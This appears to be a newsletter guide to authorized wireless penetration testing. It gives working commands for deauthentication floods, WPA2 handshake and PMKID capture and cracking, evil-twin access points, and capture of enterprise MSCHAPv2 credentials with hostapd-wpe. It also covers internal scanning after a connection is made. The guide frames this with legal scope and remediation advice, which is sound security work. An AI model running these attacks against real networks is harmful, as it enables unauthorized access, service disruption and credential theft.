Wireless Penetration Testing: Methodology, Tools, and Attack Techniques
Wireless penetration testing is often scoped out of engagements due to perceived complexity or logistics, leaving organizations with untested attack surface. Wireless networks offer initial access paths that bypass perimeter controls entirely -- an attacker in a parking lot can compromise an enterprise network without touching a single firewall rule. This guide covers the wireless penetration testing methodology for authorized engagements: passive reconnaissance, WPA2 and WPA3 attacks, enterprise 802.1X testing, evil twin and rogue AP attacks, post-connection testing, and findings documentation.
Scope, Rules of Engagement, and Legal Requirements
Wireless penetration testing has specific legal requirements that differ from wired network testing.
Authorization requirements:
The Computer Fraud and Abuse Act (CFAA) and equivalents in other jurisdictions make unauthorized access to wireless networks illegal even when the network is improperly secured. Written authorization must explicitly cover:
- The specific SSIDs and BSSIDs (MAC addresses of access points) that may be tested
- The physical locations where testing may occur
- Whether deauthentication attacks are permitted (they disrupt service to legitimate users)
- Whether clients may be tested (capturing client probes, connecting to evil twins)
- Hours during which testing may occur
Hardware requirements:
| Tool | Use Case | Recommended Adapter |
|---|---|---|
| Packet capture / monitor mode | Passive recon, handshake capture | Alfa AWUS036ACH (dual-band), AWUS1900 |
| Injection attacks | Deauth, evil twin | Alfa AWUS036ACH or AWUS036ACHM |
| 802.1X testing | EAP downgrade, RADIUS attacks | Any monitor-mode capable adapter |
Monitor mode support is non-negotiable. Built-in laptop Wi-Fi cards rarely support monitor mode or injection. Verify: iw list | grep "Supported interface modes" -A 10
Operating environment:
Kali Linux or Parrot OS are the standard platforms -- they include aircrack-ng, hcxtools, Bettercap, hostapd, and freeradius pre-installed. Use a VM with USB passthrough for the wireless adapter, or boot from a live USB for physical engagements.
Passive Reconnaissance: Mapping the Wireless Environment
Before attacking anything, build a complete picture of the wireless environment. This is entirely passive -- no transmitted packets.
Enable monitor mode:
# Check adapter name
ip link show
# Enable monitor mode (replace wlan0 with your adapter)
airmon-ng start wlan0
# Kill processes that interfere with monitor mode
airmon-ng check kill
# This creates wlan0mon (monitor mode interface)
Discover all access points and clients:
# Scan all channels (2.4GHz and 5GHz)
airodump-ng wlan0mon
# Filter to a specific BSSID and channel, save to file
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Key information to collect per AP:
| Field | Significance |
|---|---|
| BSSID | MAC address of AP -- needed for targeted attacks |
| ESSID | Network name (SSID) |
| PWR | Signal strength -- indicates proximity to AP |
| ENC | Encryption type (OPN, WEP, WPA, WPA2, WPA3) |
| CIPHER | CCMP (AES) or TKIP |
| AUTH | PSK (personal) or MGT (enterprise/802.1X) |
| #STATION | Number of connected clients |
| PROBES | SSIDs the client is probing for (useful for evil twin) |
Additional recon tools:
# Kismet: more detailed passive capture with GPS support
kismet -c wlan0mon
# Wigle.net: check if target SSIDs have been publicly mapped
# hcxdumptool: next-generation capture tool
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3
What to look for:
- Open networks (ENC=OPN) -- direct connection, no auth required
- WEP networks -- trivially crackable in minutes
- WPA2-Personal networks with weak PSKs (dictionary attack target)
- Hidden SSIDs (still vulnerable; the SSID is visible in probe requests and association frames)
- Enterprise networks (AUTH=MGT) -- 802.1X testing scope
- Rogue APs (SSIDs matching corporate SSID but different BSSID from known AP inventory)
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
WPA2-Personal: Handshake Capture and PMKID Attack
WPA2-Personal (PSK) networks are vulnerable to offline dictionary attacks once the handshake is captured.
Method 1: 4-way handshake capture with deauthentication
# Step 1: Start targeted capture
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# Step 2: Deauthenticate a connected client (in a second terminal)
# This forces the client to re-authenticate, generating a new handshake
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
# -0 = deauth attack, 5 = number of packets, -a = AP BSSID, -c = client MAC
# Step 3: Watch airodump-ng output for "WPA handshake: AA:BB:CC:DD:EE:FF"
# Step 4: Crack with aircrack-ng
aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt
Method 2: PMKID attack (no client required)
The PMKID attack (discovered by Jens Steube, 2018) extracts a key material from the first EAPOL frame that is broadcast by the AP -- no connected client is required.
# Capture with hcxdumptool
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3
# Convert to hashcat format
hcxpcapngtool -o pmkid.hash pmkid.pcapng
# Crack with hashcat (mode 22000 for WPA2)
hashcat -m 22000 pmkid.hash /path/to/wordlist.txt
# With rules for better coverage
hashcat -m 22000 pmkid.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mask attack (for known PSK patterns like CompanyName + 4 digits)
hashcat -m 22000 pmkid.hash -a 3 "CompanyName?d?d?d?d"
Wordlist recommendations:
- rockyou.txt (14 million entries) -- baseline
- hashesorg251 (251 million entries) -- better coverage
- Corporate-specific wordlists: company name, city, founding year, sports teams, variations thereof
WPA2-Enterprise (802.1X) networks are NOT vulnerable to this attack -- they use per-user/per-session keys derived from RADIUS authentication, not a shared PSK.
Evil Twin and Rogue AP Attacks
Evil twin attacks create a fraudulent access point that mimics a legitimate network, intercepting client connections.
Basic evil twin setup with Bettercap:
# Install and start bettercap
bettercap -iface wlan0
# In bettercap console:
wifi.recon on
wifi.show
# Create evil twin (requires second adapter or AP mode support)
# First, find the target AP's channel and BSSID from wifi.show output
wifi.assoc all # associate with target to capture details
# Set up rogue AP (in a separate terminal using hostapd)
# hostapd.conf for open evil twin (for captive portal attacks)
interface=wlan1
driver=nl80211
ssid=TargetNetworkName
hw_mode=g
channel=6
macaddr_acl=0
Evil twin for WPA2-Enterprise credential capture:
This attack targets enterprise networks with PEAP/MSCHAPv2 authentication where the client does not validate the RADIUS server certificate.
# Use hostapd-wpe (WPA2-Enterprise evil twin tool)
# It logs captured MSCHAPv2 challenge-response pairs
apt install hostapd-wpe # Kali Linux
# hostapd-wpe.conf -- configure to match target SSID
# ssid=CorporateNetwork
# wpe_logfile=/tmp/hostapd-wpe.log
hostapd-wpe hostapd-wpe.conf
# Captured credentials appear in wpe_logfile:
# identity: domain\username
# challenge: [hex]
# response: [hex]
# Crack the MSCHAPv2 response with asleap or hashcat mode 5500
asleap -C [challenge] -R [response] -W /usr/share/wordlists/rockyou.txt
# or
hashcat -m 5500 "username:::challenge:response" wordlist.txt
When this attack works: Only when PEAP clients do not validate the RADIUS server certificate (the most common misconfiguration in enterprise wireless). Once the client is fooled into connecting to the rogue AP, it provides its MSCHAPv2 credentials in the authentication process.
Deauthentication to force client migration:
# Continuously deauthenticate from legitimate AP to force clients to connect to evil twin
aireplay-ng -0 0 -a [LEGITIMATE-AP-BSSID] wlan0mon # 0 = continuous
WPA3 Security Testing and Known Weaknesses
WPA3-Personal (SAE/Dragonfly) eliminates offline dictionary attacks but has its own attack surface. WPA3-Enterprise improves on WPA2-Enterprise by requiring 192-bit security suite ciphers.
WPA3-Personal (SAE) characteristics:
- Replaces the 4-way handshake with the Simultaneous Authentication of Equals (SAE/Dragonfly) key exchange
- SAE provides forward secrecy -- capturing the SAE handshake does not allow offline dictionary attack
- Each connection requires an online interaction with the AP (brute-forcing requires active connections)
Known WPA3 weaknesses:
1. Dragonblood attacks (CVE-2019-9494, CVE-2019-9496): Side-channel timing attacks on SAE implementations that allow offline password recovery. Affects unpatched implementations -- check AP firmware versions. Well-patched APs have largely mitigated these.
2. WPA3 downgrade attack: If the AP supports both WPA2 and WPA3 (transition mode), an attacker can force a client to use WPA2 by running a rogue AP with only WPA2. Once the client uses WPA2, the PMKID/handshake attack applies.
# Test if target supports WPA3 transition mode
# Look for WPA3/WPA2 mixed in airodump-ng output (CIPHER: CCMP TKIP, ENC: WPA2 WPA3)
# If transition mode, force downgrade by presenting WPA2-only rogue AP
3. WPA3-Enterprise EAP downgrade: WPA3-Enterprise mandates 802.1X but the EAP method choice is still client-side negotiation. If the client accepts EAP-MD5 or EAP-GTC, the rogue AP can negotiate a weak EAP method and capture credentials.
Testing WPA3 implementations:
- Verify firmware is patched against Dragonblood (check vendor security advisories)
- Test for transition mode and downgrade susceptibility
- Validate that Protected Management Frames (PMF/802.11w) are required -- this blocks deauthentication attacks
- Check that clients enforce WPA3-only connection (not transition mode) where WPA3 is deployed
Post-Connection Testing and Findings Documentation
Once connected to the target network (via cracked PSK or successful credential capture), wireless pen testing transitions into standard internal network testing.
Immediate post-connection reconnaissance:
# Get DHCP lease and network information
ip addr show
ip route show
# Identify the network range and gateway
# Scan the local subnet
nmap -sn 192.168.1.0/24 -oG hosts-up.txt
# Identify active hosts with service detection
nmap -sV -sC -O --top-ports 1000 192.168.1.0/24
Wireless network segmentation test:
A critical finding is whether the wireless network is properly segmented from wired internal infrastructure:
# Can you reach domain controllers from the wireless segment?
nmap -p 389,636,3268,3269,88 [DC-IP-RANGE]
# Can you reach internal file servers?
nmap -p 445,139 192.168.0.0/16
# Attempt to reach known internal systems (from scope document)
ping -c 3 [internal-server-IP]
If the wireless network can reach internal systems without any additional authentication, this is a critical finding: the wireless network provides direct access to the internal network, and any wireless compromise is effectively an internal compromise.
Findings documentation for wireless assessments:
| Finding | CVSS | Evidence Required |
|---|---|---|
| WPA2-Personal with cracked PSK | 9.0 (Critical) | Captured handshake file + hashcat output showing plaintext PSK |
| PEAP without certificate validation (credential capture) | 9.1 (Critical) | hostapd-wpe log showing captured MSCHAPv2 pairs |
| WPA3 transition mode downgrade | 7.5 (High) | Airodump-ng showing transition mode + proof of WPA2 connection |
| Insufficient wireless segmentation | 8.8 (High) | Nmap output showing reachability of internal systems |
| Rogue AP not detected by WIDS | 6.5 (Medium) | Evidence of evil twin operating without alert |
| Deauth not blocked (no 802.11w/PMF) | 5.3 (Medium) | Successful deauthentication attack log |
Each finding should include: exact attack steps reproduced, specific AP/SSID affected, business impact statement, and a remediation recommendation (for PSK cracking: migrate to WPA2-Enterprise or WPA3-SAE with strong passphrase; for PEAP: enforce certificate validation via GPO).
The bottom line
Wireless penetration testing requires specific hardware, legal authorization scoped to exact SSIDs and BSSIDs, and a structured methodology that starts passive and escalates carefully. The highest-impact findings in most enterprise wireless assessments are: weak WPA2-PSKs cracked via PMKID attack, enterprise networks where PEAP clients don't validate server certificates (enabling credential harvesting with a rogue AP), and wireless segments that route directly to internal infrastructure without segmentation. If the wireless network can reach your domain controllers, a parking-lot attacker can own your AD.
Frequently asked questions
What hardware do I need for wireless penetration testing?
The essential piece of hardware is a wireless adapter that supports monitor mode and packet injection -- built-in laptop Wi-Fi cards almost never support these modes. The Alfa AWUS036ACH (dual-band 2.4GHz/5GHz, AC1200) is the most widely used wireless pentesting adapter and supports both monitor mode and injection reliably on Kali Linux. For engagements requiring 5GHz testing, the AWUS1900 or AWUS036ACHM offer better 5GHz sensitivity. You may also need a second adapter for evil twin setups (one for injection, one for the rogue AP). Connect adapters via USB 3.0 for best performance.
Is deauthentication (deauth) attack still effective against modern networks?
Deauthentication attacks are effective against networks that do not enforce 802.11w (Protected Management Frames / PMF). PMF encrypts management frames including deauthentication packets, preventing spoofed deauth attacks. WPA3 mandates PMF; WPA2 can optionally require it. To test: attempt a deauth attack (aireplay-ng -0) and observe whether clients disconnect -- if they do, PMF is not required. Defenses: enable PMF as required (not optional) in your wireless controller for all enterprise SSIDs. Where PMF is enforced, deauth attacks require physical proximity and jamming, which is a much higher-effort attack.
How long does it take to crack a WPA2 PSK with modern hardware?
Cracking time depends on password complexity and GPU power. With a single RTX 4090 running hashcat in WPA2 mode (22000): a 8-character lowercase password cracks in seconds with a mask attack; rockyou.txt (14M words) runs in under a minute; a 12-character password with mixed case and special characters would require years of brute force. The practical answer: weak passwords (dictionary words, company names, city names, sports teams with appended numbers) are cracked in minutes to hours. Strong random passphrases of 15+ characters are effectively uncrackable offline. For enterprise environments, eliminate PSK networks entirely and use 802.1X -- each user authenticates individually, and there is no shared secret to crack.
What is the PMKID attack and why is it significant?
The PMKID attack (discovered by Jens Steube in 2018) allows capturing WPA2 key material directly from the access point's beacon frames, without needing a connected client to deauthenticate and re-authenticate. Previously, an attacker had to wait for -- or force -- a client to reconnect to capture the 4-way handshake. The PMKID can be captured in seconds with just hcxdumptool, then cracked offline with hashcat. The significance: an attacker in a parking lot can capture PMKID from every WPA2-Personal AP in range and walk away to crack them offline, with no active interaction that might be logged or detected.
How do we find rogue access points in our environment?
Rogue AP detection uses several methods: (1) Wireless IDS/IPS -- enterprise wireless controllers (Cisco, Aruba, Ruckus) include WIDS capabilities that alert on SSIDs matching your network name with unrecognized BSSIDs; (2) Airodump-ng or Kismet scans during the assessment -- look for SSIDs matching corporate names with BSSIDs not in your AP inventory; (3) SSID confusion detection -- alert on your SSID appearing on a different channel or with different security capabilities than expected; (4) Client probe monitoring -- clients probing for your SSID but connecting to unknown BSSIDs. Document all legitimate AP BSSIDs in an inventory and treat any unknown BSSID broadcasting your SSID as a critical security incident.
What is the difference between testing WPA2-Personal and WPA2-Enterprise networks?
WPA2-Personal (PSK) uses a shared passphrase for all users. Attacks target the PSK via handshake or PMKID capture and offline cracking. WPA2-Enterprise (802.1X) uses per-user authentication via RADIUS with individual credentials. There is no shared key to crack. Attacks against enterprise networks focus on: rogue AP with certificate spoofing (when clients don't validate the RADIUS server certificate), credential capture via PEAP downgrade to weaker EAP methods, and cracking the captured MSCHAPv2 challenge-response pairs offline. Enterprise networks are significantly stronger than PSK when properly configured -- the critical control is enforcing RADIUS server certificate validation on all clients.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, weekly, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals weekly.
The Mythos Brief is free.
AI that finds 27-year-old zero-days. What it means for your security program.